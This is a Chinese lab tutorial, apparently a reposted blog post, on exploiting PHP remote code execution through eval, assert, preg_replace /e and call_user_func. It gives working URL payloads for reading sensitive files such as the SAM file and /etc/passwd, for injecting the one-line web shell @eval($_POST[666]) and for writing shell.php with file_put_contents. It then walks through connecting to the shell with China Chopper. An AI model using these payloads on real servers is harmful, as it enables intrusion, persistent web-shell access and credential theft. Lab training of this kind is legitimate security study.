一、远程命令
在PHP中,允许命令执行的函数有
1、array_map()
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/3.php
2、在URL后拼接"?arr=print_r",访问http://ip/os/3.php?arr=print_r,打印数组
print_r是一个专门打印数据内容的函数
3、在URL后拼接"?arr=phpinfo",访问http://ip/os/3.php?arr=phpinfo,查看执行效果
2、eval()
这段代码的意思:判断用户是否有输入a,有则当做PHP语句执行
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/eval.php
2、在URL后拼接"?a=echo ‘This is test’;",访问http://ip/os/eval.php?a=echo ‘This is test’;,执行代码
3、在URL后拼接"?a=phpinfo();",访问http://ip/os/eval.php?a=phpinfo();,查看执行效果
3、assert():作用跟eval()差不多,但二者不同
eval是一个语言构造器,而不是一个函数,不能被可变函数调用;
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php
2、在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/assert.php?a=var_dump(array(1,2,3)),执行代码
3、在URL后拼接"?a=phpinfo();",访问http://ip/os/assert.php?a=phpinfo(),查看执行效果
4、preg_replace()
Preg_replace("/(.*)/e",'\1',$_GET['a']);
/(.*)/e 代表要替换的模式
'\1'代表第一个捕获到的文本替换
Preg_replace("/(.)/e",'\1',$_GET['a']);跟Preg_replace("/[(.)]/e",'\1',$_GET['a']);的区别就是
需要给输入的字符串加[ ]
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/preg_replace.php
2、在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/preg_replace.php?a=var_dump(array(1,2,3)),执行代码
3、在URL后拼接"?a=phpinfo();",访问http://ip/os/preg_replace.php?a=phpinfo(),查看执行效果
5、call_user_func()
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/call_user_func.php
2、在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/call_user_func.php?a=var_dump(array(1,2,3)),执行代码
3、在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/call_user_func.php?a=assert&b=phpinfo(),查看执行效果
6、$a($b):跟call_user_func()用法差不多
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/kbhs.php
2、在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/kbhs.php?a=var_dump(array(1,2,3)),执行代码
3、在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/kbhs.php?a=assert&b=phpinfo(),查看执行效果
二、远程命令执行漏洞的利用
1、远程命令执行漏洞利用之利用PHP魔术常量获取信息
原理:
探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。
__LINE__ 文件中的当前行号
__FILE__ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__ 文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__ 该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__ 该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__ Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__ 类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__ 当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php
2、在URL后拼接"?a=print(LINE),访问http://ip/os/assert.php?a=print(__LINE__),执行代码,获取当前代码所在的行数** 注意:是两个下划线_**
3、在URL后拼接"?a=print(DIR),访问http://ip/os/assert.php?a=print(__DIR__),执行代码,获取当前文件所在的目录
4、在URL后拼接"?a=print(FILE),访问http://ip/os/assert.php?a=print(__FILE__),执行代码,获取当前文件的完整路径
2、远程命令执行漏洞利用之读取文件
原理:
利用远程命令执行漏洞可以读取一些操作系统的敏感文件,从而获取重要信息。
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
......
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
......
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php
2、在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’)),执行代码,获取hosts文件信息
hosts是一个系统文件,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”。
3、在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\win.ini’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\win.ini’)),执行代码,获取win.ini文件信息
“win.ini,是Windows系统的一个基本系统配置文件。WIN.INI文件包含若干小节,每一节由一组相关的设定组成。文件配保存了诸如影响Windows操作环境的部分、控制系统界面显示形式及窗口和鼠标器的位置、联结特定的文件类型与相应的应用程序、列出有关HELP窗口及对话窗的默认尺寸、布局、文本颜色设置等等的选项。是系统配置不可缺少的文件。
3、远程命令执行漏洞利用之一句话木马
原理:
利用远程命令执行漏洞可以执行一句话木马,从而GetShell,借助WebShell工具连接一句话木马。
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php
2、在URL后拼接"?a=@eval($_POST[666])",访问http://ip/os/assert.php?a=@eval($_POST[666]),执行代码,构造一句话木马(Warning警告,但是并不影响)
666就是与菜刀的连接密码
3、打开中国菜刀
4、在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
5、点击“添加”,双击一句话木马地址
远程命令执行漏洞的利用,执行一句话木马文件,从而GetShell。
4、远程命令执行漏洞利用之写shell
原理:利用远程命令执行漏洞可以执行写文件的代码,生成新的脚本文件。
1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php
2、在URL后拼接"?a=var_dump(file_put_contents($_POST[1],$_POST[2]))",
访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=info.php&2=<?php phpinfo();?>,成功执行代码(Warning警告,但是并不影响)
3、访问http://ip/os/info.php,新生成的info.php脚本文件成功解析执行
4、在URL后拼接"?a=var_dump(file_put_contents($_POST[1],$_POST[2]))",
访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=shell.php&2=<?php @eval($_POST[666]);?>,成功执行代码(Warning警告,但是并不影响)
5、访问http://ip/os/shell.php,无任何报错,shell.php一句话木马文件成功生成
6、打开中国菜刀(过狗),双击exe文件
7、在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
8、点击“添加”,双击一句话木马地址
远程命令执行漏洞的利用,执行生成代码的文件,从而生成新的脚本文件或者一句话木马文件。
这篇文章就写到这里了
版权归原作者 賺钱娶甜甜 所有, 如有侵权,请联系我们删除。